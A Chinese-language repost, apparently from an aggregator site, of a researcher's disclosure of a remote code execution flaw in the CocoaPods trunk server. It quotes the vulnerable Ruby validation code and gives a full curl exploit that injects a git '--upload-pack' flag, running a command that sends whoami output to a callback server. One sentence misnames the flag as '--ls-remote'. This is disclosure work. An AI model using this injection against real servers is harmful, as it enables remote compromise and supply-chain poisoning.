通过CocoaPods漏洞一次入侵数百万个应用程序
Posted SecTr安全团队
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了通过CocoaPods漏洞一次入侵数百万个应用程序相关的知识,希望对你有一定的参考价值。
概述
CocoaPods是许多ios,以及其他Swift和Objective-C Cocoa应用程序所使用的流行软件包管理器。
研究人员在托管Specs repo密钥的CocoaPods中央服务器中,发现了一个远程代码执行漏洞,该漏洞允许攻击者毒害任意软件包下载,可能会影响多达300万个使用CocoaPods依赖项管理器的移动应用程序。
漏洞详情
研究人员对Signal iOS应用程序的源代码进行审计,以查找其中可能存在的漏洞。在源代码中,研究人员注意到Podfile文件中列出了Signal的CocoaPods依赖关系。此时,研究人员脑海中突然灵光一现,想到如果找到CocoaPods中央服务器中的漏洞,将可以劫持所有使用CocoaPods的应用程序,而不仅仅是Signal,何乐而不为呢?
将包规范上传到CocoaPods时,它将通过以下方式确保用户不会意外链接到私有存储库:
def validate_git
# We've had trouble with Heroku's git install, see trunk.cocoapods.org/pull/141
url = @specification.source[:git]
return true unless url.include?('github.com') || url.include?('bitbucket.org')
ref = @specification.source[:tag] ||
@specification.source[:commit] ||
@specification.source[:branch] ||
'HEAD'
wrap_timeout { system('git', 'ls-remote', @specification.source[:git], ref.to_s) }
end
然而,该代码中存在几个问题。最严重的一个问题是攻击者拥有对@specification.source[:git]和ref.to_s的完全控制,因此可以使用它将标志传递给git。git ls-remote采用可选标志--upload-pack,该标志用于评估其在shell中的内容。因此如果@specification.source[:git]等于--ls-remote="$(echo THIS WAS PROBABLY UNEXPECTED)" github.com,且ref.to_s被解释为本地存储库,那么我们将可以在CocoaPods服务器上执行任意命令。
漏洞利用程序:
curl -X POST -H "Content-Type: application/json" -H 'Authorization: Token MY_AUTH_TOKEN' "https://trunk.cocoapods.org/api/v1/pods" --data '{"source":{"git":"--upload-pack=\"$(curl my-server:4775/`whoami`)\" https://github.com/","tag":"1.0.0"}}'
END
以上是关于通过CocoaPods漏洞一次入侵数百万个应用程序的主要内容,如果未能解决你的问题,请参考以下文章
利用 CocoaPods 服务器中的一个 RCE 漏洞,投毒数百万款app